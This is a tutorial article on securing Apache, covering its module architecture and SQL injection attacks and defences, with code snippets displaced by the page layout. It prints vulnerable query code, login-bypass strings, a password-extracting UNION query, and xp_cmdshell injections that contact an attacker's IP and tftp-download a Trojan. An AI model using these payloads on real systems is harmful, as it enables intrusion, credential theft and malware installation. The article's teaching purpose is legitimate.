Securing Apache, Part 1- The Basics
With
about a 54-56 per cent share of the Web server market, according to a
survey by netcraft.com, Apache is the second most famous project in
the open source world, after Linus Torvalds’ Linux kernel. It is,
indeed, a de facto standard for Web applications. However, because of
the high market share, it has always been a hunting ground for
attackers, and is still vulnerable to many known and unknown
malicious attacks. An unsecured Apache server can have a devastating
effect on your website, the server as a whole, and also on your
reputation, if your site is broken into.
However,
the response to that is to secure our Web applications and Web server
framework — and that’s what we will be doing in this series.
Starting with an introduction to Apache’s architecture, we will
look at the many attacks that are possible on your Apache Web server
or Web application — and of course, we look at some good security
solutions, too. Some golden advice, before we start: read these
articles with an attacker’s mindset, to gain the upper hand and
keep your server secured.
Dissecting
Apache
It’s
quite obvious that to secure any system, you need to start with a
good knowledge of its architecture. This section looks at Apache’s
innards, making it clear how Apache handles applications and modules.
The components shown have high interactivity with each other, and
that makes security a complex issue. Each type of external system (a
database, an LDAP server, a Web service) uses a different language,
and allows for different attack vectors, increasing the chances of a
security failure.
Figure
1: Apache components
The
core of Apache implements the basic functionality of the Web server.
The following are its main components:-
http_protocol.c — contains functions that handle all the data transfers to the client, following the HTTP protocol.
-
http_request.c — handles the flow of request processing, and controls the dispatching of work to modules, in the appropriate order. It is also responsible for error handling.
-
http_main.c — starts up the server; this contains the main server loop that waits for, and accepts, connections. It is also in charge of managing timeouts.
-
http_core.c — is the base component that implements Apache’s basic functionality. Although this component also uses the Apache module API, it is a special one; it has a non-standard file name, http_core, instead of the expected mod_core. It behaves like a module, but has access to some globals directly, which is not characteristic of a module.
-
http_config.c — is responsible for managing information about virtual hosts and reading configuration files; it also maintains a list of modules that are called in response to requests.
Each module has handlers defined for it — for actions like sending a file back to the client (send-as-is handler), treating a file as a CGI script (cgi-script handler) or parsing it for SSI (server-side includes — the server-parsed handler), and many others. Each handler represents a specific action to be performed when a request is received. The core calls the specific handler, thus invoking the module that has defined that handler, for a specific request.
After successful installation and basic configuration of Apache, the first thing you need to do, from the security perspective, is to carefully select your active module set. You should disable the enabled modules (by default) like mod_info, mod_status, mod_userdir and mod_include, unless you have a sound reason for keeping them enabled.
Why, you may well ask. It’s simple — they can expose your server to attack, or yield useful information to an attacker. The first two modules expose the Web server configuration and real-time information as Web pages. The mod_userdir module allows each user account on the server to have a personal website in the home directory, accessible via a <server URL>/~username alias.
Apache
returns error 404 when a user account, whose personal site is
requested, doesn’t exist; and it returns error 403 when a website
is not found in that user’s home folder. The errors generated
expose valid user account names on the server; it is a common ploy
for attackers to try to log in to the server with these discovered
accounts, and with commonly used weak passwords. Once they obtain a
shell session on the server, there are several privilege-escalation
techniques they can try to become the superuser.
The
mod_include module provides scripting functionality. Though powerful,
there are many malicious exploits available that are designed
specifically for this module. Disable it if you don’t need it!
Phases
in Apache request processingFor Apache to return a complete response to a client request, more than one module is needed. As already noted, all the modules communicate with or respond to each other through the core. Thus, control is switched back and forth between the core and different modules. All this is done by dividing the request into a set of different phases; let’s look at each of the typical request-to-response phases.
URI
to file-name translation phase
In
a normally configured server, two basic modules, mod_userdir
and mod_rewrite,
are used in this phase. (However, you should already have disabled
mod_userdir,
for reasons stated above.) The mod_rewrite
module provides you with a flexible mechanism for rewriting the
requested URL to a new one. It uses custom rules, which state that if
a predefined pattern is found in the requested URL, then it is
rewritten to a new one. It is a good idea to install this module,
since it reduces the chances of malicious codes in the URL (such as
local and remote file inclusions, which we’ll discuss in upcoming
sections).
Note:
URI (Uniform Resource Identifier) is the generic term for a family
that includes Uniform Resource Names (URN), Uniform Resource
Characteristics (URC), Location-Independent File Names (LIFN), and of
course, the URL, the grand daddy of them all.
The
authentication and authorisation phase
This
phase has sub-phases:-
Checking the host address and other available information: Here, mod_access comes into the picture. Basically, mod_access enables you to authorise access based on the host name or IP address from which the request came.
-
Authenticating user ID in the HTTP request: Here mod_auth, the default authentication module, is used. It enables you to authenticate users whose credentials (a username and an encrypted password) are stored in text files. From the security perspective, this module is not recommended, since it is not designed to handle a large number of users. Just a few thousand user requests can cause lookup performance to drop dramatically, which may suggest a syn-flooding DoS attack to an attacker. To deal with this problem, we’ll be using traffic-shaping modules in subsequent sections. The mod_auth_anon module is used for anonymous authentication.
Determining
the MIME type of request
The mod_mime_magic module does the same task, but by comparing the first few bytes of the file with a magic value stored in a file. It is only needed when mod_mime fails to determine a known MIME type.
The
fixing-up phase
The
mod_alias
module works to map one part of the user-perceived file system to
another. For example, if a request is received for
http://www.example.com/info/info.php,
then it can be redirected to
http://www.example.com/info/lfu/info.php.
In such tasks, mod_rewrite
has the upper hand over mod_alias
since mod_rewrite
can also map URLs with different hostnames, and can perform
complicated tasks such as manipulating the query string.
Also
in this phase, the mod_env module is used to enable you to pass
environment variables to external programs, such as CGI, PHP,
mod_perl scripts, or SSIs.
The
response phaseThis phase can use different modules to create a response. For example: mod_asis can be used for static pages; it enables you to send documents “as-is” to clients, without HTTP headers. This can be useful when redirecting clients without the help of any scripting.
mod_cgi invokes CGI scripts and returns the result. mod_include handles server-side includes. (Typically, an SSI is an HTML page with embedded commands for Apache and many others.)
The request logging phase
Have
a look at the official
Apache docs
for a complete list of modules, with links to pages documenting their
use and directives. Module directives are configured in
/etc/httpd.conf,
Apache’s main configuration file.
These
concepts on Apache might have been just revision for you, but we will
move to learning how to use these to secure Apache configurations, in
articles that follow
this one.
For now, though, we take a look at something else that is important
from the security perspective!What do you use Apache for? Obviously, to let the world access your Web applications! Now, if your Web application itself has security flaws, then it’s no use trying to create even the most secure configuration for the Apache Web server, because an attacker can enter your site without restriction, through a flawed Web application!
This is what our next section focuses on: identifying the potential flaws in your Web application, beginning with the most common ones, and on how to seal the holes so attackers face a much more secured Web application.
Securing your applications — learn how break-ins occur
Shown in Figure 2 is a typical client-server Web architecture, which also indicates various attack vectors, or ways in which Web application attacks affect the regular data flow.
Figure
2: Typical client-server Web architecture, with attack vectors
We
will cover each of these in this series
of articles,
beginning with injection flaws.
Injection flaws are so named because when they are used, malicious attacker-supplied data flows through the application, crosses system boundaries, and gets injected into other system components. These are fairly dangerous attacks, and mostly work because a string that is harmless for PHP (or another website scripting language) can turn into a dangerous weapon when it reaches the database. Such flaws and attacks are particularly important, since they can affect any dynamic Web application that has not been tested and carefully secured against such holes. We will now take a closer look at the most often encountered injection flaw, SQL injection.
Warning:The
attack techniques discussed below are intended only as information to
help you secure your Web application. Do NOT attempt to use any of
these techniques on any server on the Internet, at your workplace, on
any network or server that you do not own yourself — unless you
have written permission from the owner of the server and network to
conduct such testing! Indian law provides for prosecution, fines, and
even jail terms for breaking into computers that you do not own.
Also
note that if you have a website of your own, hosted by a hosting
provider, or on a rented physical server, the server and network do
NOT belong to you even though you own the website content. You should
ideally obtain permission from such hosting providers/server owners
to carry out even “testing” probes on your own website/Web
application.The ideal way to test your Web application would be on your own private LAN—or even better, to create a virtual machine on your personal computer, in which you run Apache and a database server, and host a copy of your Web application. You can then do your testing against the virtual machine, without running afoul of cyber laws.
SQL injection
SQL injection is an exploit in which the attacker injects SQL code into a request to the server (generally through an HTML form input box), to gain access to the backend database, or to make changes in it. If not sanitised properly, SQL injection attacks on your Web application could allow attackers to even ruin your website, besides extracting confidential data.
Website features such as login pages, feedback forms, search pages, shopping carts, etc., that use databases, are more prone to SQL injection attacks. The attacker injects specially crafted SQL commands or statements into the form, trying to achieve various results. Almost all scripting technologies — ASP, ASP.NET, PHP, JSP and CGI — are vulnerable to this attack if they use MS SQL Server, Oracle, MySQL, Postgres or DB2 as their database.
Basic knowledge of SQL commands, and some creative guess work, is all it takes to penetrate an unsecured application. Network firewalls and IDSs (Intrusion Detection Systems) might not help, since they provide filters on HTTP, SSL and other Web traffic ports — but the communication with the database is still unsecured.
Most programmers are still not aware of the problem, and the scenario seems to be getting worse: the Web security consortium informs us that SQL injection comprised over 7 per cent of all Web vulnerabilities present in every 15,000 applications that it scanned!
Note:
SQL injection is a “global” type of attack; it is not restricted
to open source platforms, databases or applications, as you can see
from the inclusion of proprietary software products in the list
above.
SQL
injection via a login form
Let’s
take a common vulnerable code snippet in an ASP page, which generates
a login validation query that is meant to be run on an MS SQL server
database:
var
sql = "SELECT * FROM Users WHERE usr= ' " + user + "
' AND password=' " + paswd + " ' "; |
SELECT
* FROM Users WHERE usr='arpit' AND password='bajpai' |
SELECT
* FROM Users WHERE usr=' ' or 1=1 -- AND password=' ' |
SELECT
* FROM Users WHERE usr=' ' or 1=1 |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 |
<%
dim
prodId
prodId
= Request.QueryString("productId")
set
conn = server.createObject("ADODB.Connection")
set
rs = server.createObject("ADODB.Recordset")
query
= "select prodName from products where id = " &
prodId
conn.Open
"Provider=SQLOLEDB; Data Source=(local); Initial
Catalog=myDB; User Id=sa; Password="
rs.activeConnection
= conn
rs.open
query
if
not rs.eof then
response.write
"Got product " & rs.fields("prodName").value
else
response.write
"No product found"
end
if
%> |
SELECT
prodName FROM products WHERE id = 1 |
SELECT
prodName FROM products WHERE id = 0 or 1=1 |
$a
= "SELECT * FROM accountsWHERE account = $acct AND pin =
$pin"; |
SELECT
* FROM accounts WHERE account = a or a=a# AND pin = 1234 |
';EXEC
master..xp_cmdshell "nslookup example.com a.b.c.d" |
';EXEC
master..xp_cmdshell "tftp –i a.b.c.d GET Trojan.exe
c:Trojan.exe" |
Fuzzing |
Fuzzing
is an automated software testing technique that provides invalid,
unexpected data as input to the application. If the application
responds unexpectedly, or shows reduced performance, it can be
noted for further action. |
Web App Security Checking
To know about the present vulnerabilities of your Web applications, use scanners that notify you about any dangerous threats that your application and Web server is facing. Scanners such as Webinspect, Nikto and Whisker top the list. Acunetix also provides a trial-based commercial Web scanner that is also popular among security professionals.
In
case a valid user enters (into the ASP login page) his username as
“arpit”, and his password as “bajpai”, then the generated
query becomes:
That’s
pretty innocuous, and exactly what the person who wrote the ASP code
intended. However, note what happens if an attacker submits malicious
text in the username field — something like ' or 1=1 --, then the
query becomes…
Because
a pair of hyphens designates the beginning of the comment in SQL
Server’s T-SQL, the effective
For
readers who don’t know SQL, this translates to, “where the user
field is blank, OR 1=1″.
The
trick is that for the logical OR condition, this will always evaluate
to True, since one of the operands to the OR statement is True. Thus,
this query returns multiple user records, which validates the
malicious login!
It
doesn’t stop there, however: since most Web applications have their
“administrator” user account added to the Users table as the
first thing during development, the ASP code in the login page sees
that record as the first returned record, and assumes it is the admin
user logging in! A person, who doesn’t even know a valid username
and password, is given administrative permissions in your Web
application…SQL injection via query string (URL)
CREATE
TABLE Products
(
ID
INT identity(1,1) NOT NULL,
prodName
VARCHAR(50) NOT NULL,
)
INSERT
INTO PRODUCTS (prodName) VALUES (‘Dell laptops')
INSERT
INTO PRODUCTS (prodName) VALUES ('Nokia express music')
INSERT
INTO PRODUCTS (prodName) VALUES (‘Samsung dual sim range')
Let’s
also assume that we have the following ASP script, called
products.asp, on the site; it uses the database with the above table.
If
we visit products.asp in our browser with the (normal) URL:
http://www.example.com/products.asp?productId=1 then we will see the
result is “Got product Dell laptop”. The parameter is taken
directly from the query string (submitted URL) and concatenated to
the WHERE clause of the query, so the query generated by passing
productId=1 in the URL is:
Now,
if the attacker tampers with the URL and submits something like
http://www.example.com/products.asp?productId=0 having 1=1 then the
constructed query becomes:
This
would produce an error as shown in Figure 3, or something similar.
Figure
3: SQL error caused by query string injection
You
can also see the error exposing the products fields such as
products.prodName. The attacker can use this information maliciously,
to insert or delete data from the table. For example, here is a
sample malicious query injection:
http://localhost/products.asp?productId=0;INSERT INTO
products(prodName) VALUES(left(@@version,50))
Many
programmers might suggest that they use double quotes instead of
single quotes for security, but this is only a halfway measure
because there are always numeric fields or dates within forms or
parameters, which will still remain vulnerable just like the example
shown below, using PHP/MySQL, which takes a query that uses no single
quotes as part of the syntax.
Now,
the attacker injects, into the HTML form fields meant to accept
numbers, as $acct= a or a=a # $pin = 1234. The resultant query would
be like the following:
(In
this case, the comment character is # instead of the double dash
because the database is MySQL. Other such strings used by attackers
are ' or a=a -- , ' or 'x'='x, 1' or '1'='1, ' or 0=0 #, " or
"a"="a, ') or ('a'='a), etc. Notice the power of
single quotes in such strings.
Running
system commands on SQL ServerBy attacking an SQL Server, an attacker can also gather IP address information through reverse lookups, by running system commands. For example (a.b.c.d represents the attacker’s IP address):
When
this fragment is injected, the SQL backend will now execute an
nslookup using the attacker’s system as the name server. Attackers
can use multiple methods, including a network sniffer like tcpdump,
on their box, to find the IP address that made the DNS query. If it
is a public IP address, the attackers have gained crucial
information: they can then compile and launch exploits against that
IP address, which are tailored to the operating system and database
software.
It
is sometimes possible, even if the SQL Server machine doesn’t have
a public IP address, that an attacker can download a Trojan or
backdoor program onto the SQL Server (a.b.c.d is the IP address of a
server hosting the malware program):
The
downloaded program could be launched with another xp_cmdshell
invocation. It could do many things at this point, including
connecting outward to the attacker’s IP address, to provide the
attacker with a direct channel to command the server operating
system. If the SQL Server software is running as the Windows
Administrator user, which is an all too common shortcut that people
take when installing — then the attackers now effectively “own”
the server. They can then transfer files from the server, using tftp,
which could include confidential, financial or even system password
files.
More
than that, the attackers are now “inside” the private network —
they can locally access other systems on the LAN, and try to break
into them, something that they could not do directly because the LAN
was protected by a firewall blocking connections from the Internet,
except for proper requests like HTTP/HTTPS to the Web server.If you want more practical examples of this attack vector, there are a whole bunch of videos available on YouTube and Metacafe.
I
would like to reiterate here that neither I nor LFY aims to teach
readers to attack servers; this is meant to give you knowledge that
you need in order to protect your own infrastructure.
Let’s take a look at the methodology adopted by many penetration testers to check for SQL injection vulnerability.
Scanning for entry points
This initial stage is to find vulnerable entry points such as fields in entry forms, values stored in cookies, and hidden fields. For this, the fuzzing technique is used to send specific string combinations with SQL characters and words. An unexpected error response, or a change in application behaviour, indicates a vulnerable point that may afford an attacker entry.
Information
gathering
The
next step is to gather as much information as possible about the
underlying application, by going through the following steps:-
Errors in responses: For the attacker, the easiest situation would be to have the results of the modified query displayed as part of the Web server’s response. If the Web server (Apache, in this case) is configured to display error messages, a lot of information can be extracted through them. For example, a 403 error page on Apache’s website shows “apache/2.2.12 (unix) mod_ssl/2.2.12 openSSL/0.9.7d mod_wsgi/3.2 python/2.6.5rc2 server at httpd.apache.org port 80″. The information includes specific software component information and version numbers, including the version number of Apache. This can be used by attackers to run exploits known to work for a particular version. Moreover, database error messages may also leak information about the table or database structure — for example, an error message saying that some columns have not been grouped, when you inject a HAVING clause into a SELECT statement.
-
Guessing the database:Most of the time, error responses also help in guessing the databases in use. For example, if the Web server is Apache, and the website is built using PHP, then chances are the database is MySQL. If the website is in ASP, then it’s likely that it uses an MS SQL Server database. However, a more effective way of distinguishing databases is the table provided by the OWASP Web application security project, which is shown in Figure 4. You can relate keywords in error messages from queries that you inject, with those in Figure 4, to guess the database.
Figure
4: OWASP table of SQL dialect differences
-
Understanding the query: It is important to know in what kind of query, and in which part of the query, our injection landed. It could be part of a SELECT, UPDATE, EXEC, INSERT, DELETE or CREATE statement — or could be part of a sub-query too. Start by determining which field is doing what with your input. For example, in the “Change Your Password” page, the SQL code may be: SET password = 'new password' WHERE login = user AND password = 'old password'. Here, if you inject a new password and a comment character in the “New Password” field, you may end up changing every password in the table to the one you specified. In the same manner, we can guess a SELECT query structure, for example, by looking at the output of ' and '1'='1 and 'and '1'='2. You can also generate specific errors to determine table and column names, like: ' GROUP BY columnnames HAVING 1=1 --. You can inject entire queries after a query termination character, as we saw earlier, to help in determining table names and columns. For MySQL, the query is SHOW columns FROM tablename, while in Oracle it would be SELECT * FROM tab_column WHERE table_name= 'tablename'. Similarly, DB2, Postgres, etc., have their own syntax.
-
Time to penetrate: Once basic information about the database, the query structure and privileges is known, the penetration is started. Extracting data is easy once the database has been enumerated, and the query is understood. For example, to get the password for the login name “admin” we would try the malicious URL: http://www.example.com/products.asp?id=0;UNION SELECT TOP 1 password FROM account_table WHERE login_name='admin'--. The same applies to any other specific login name. You can also extract a password from hashes by converting the hashes kept in binary form to a hex format, and that can be displayed as part of an error message.
We
have covered a lot about SQL injection attacks so far, but if you
want to know more, explore the “References section” at the end of
the article. Now, the biggest question left to be answered is: How do
we make our present Web applications attack-proof — or at least, as
hostile as possible to malicious SQL injectors? The answer is,
carefully follow these tips given below:
-
The best way to check whether your website and applications are vulnerable to SQL injection attacks is by using automated and heuristic Web vulnerability scanners (see the “Web App Security Checking” box below). These can also check for cross-site-scripting attacks, and many more attacks that we will be dealing with in later articles.
-
Input validation is the most important part of defending yourself against SQL injection. If the input is supposed to be numeric, use a separate variable in your server-side scripts to store it, and reject bad input, rather than attempting to escape or modify it.
-
Implement filters against keywords like select, insert, update, shutdown, delete, drop, and special characters like --, '. Also, don’t do these validations in JavaScript on the client side; rather, do such filtering at the server side itself. Not only will smart attackers figure out how to bypass your JavaScript, they will also learn exactly what special filters you have, when they view the JavaScript.
-
Try to use encrypted cookies, and not to store values in hidden fields.
-
Make sure you run database services as a low-privilege user account. Remove unused stored procedures and functionality, or restrict access to those, to administrators. Also change permissions and remove “public” access to system objects. If the application only requires read access to certain tables, then the account for that application must be limited to read access only. Don’t forget to firewall the server so that only trusted clients can connect to it.
-
Close off linked servers, such as FTP servers or Samba services that connect to the same system on which your database runs. Also, close unused network protocol ports, such as telnet and TFTP ports, when you don’t need them. This restricts attackers trying to upload Trojans or rootkits into your system through these ports.
-
Avoid using different databases linked together by a single application, as they may create code complexity, which ultimately may create loopholes for intruders.
-
As far as passwords are concerned, keep auditing them and change them regularly. Use complex passwords that are above 16 characters in length — this makes it hard for many brute-forcing programs to crack them. You can also set password validations that ask users to enter complex passwords. Encrypt and hash passwords and other sensitive data; never store them in clear-text. Encrypting connection strings is also a good practice.
-
Add extra code in your scripts to log IP addresses that visit your site, and block suspicious IPs. You can also add scripts to show warnings like, “WARNING: Attacker, your IP address x.y.z.w has been logged. Legal action will be taken against you if your intentions are malicious.”
-
If you can, use databases which are not commonly used, because they should have less known exploits against them. Regularly consult your system vendor for security and performance hot-fixes and related patches.
-
Use these tools of the security industry:
-
SQLninja is an automatic testing tool to exploit SQL-injection-vulnerable applications. It performs extensive DBMS back-end fingerprinting and brute forcing on account passwords. View more details at here.
-
Greensql is an open source database firewall that tries to protect against SQL injection errors. View its documentation here.
-
You can also go for the SQL injection blocking tool, SQLblock ODBC edition. It has an SQL injection prevention feature, which works as an ordinary ODBC/JDBC data source, and monitors every SQL statement being executed. It alerts the administrator if any malicious or forbidden SQL statement is encountered.
-
Since SQL injection has the dubious distinction of being the attack that any malicious attacker learns first, it is the first we have covered, and in depth. For more detailed information on SQL injection and other programming defences, don’t forget to visit www.owasp.org.
We
will deal with cross-site scripting (XSS), command execution and many
other dangerous attacks on Web applications and Apache in the next
article.
Meanwhile, you can leave your queries and feedback in the comments
section below.
Always remember: know hacking, but no hacking.
Resources
Always remember: know hacking, but no hacking.
Resources
-
Apache 2 Server Bible by Mohammed J. Kabir for more on Apache’s functionality
Linuxforu
Comments
Post a Comment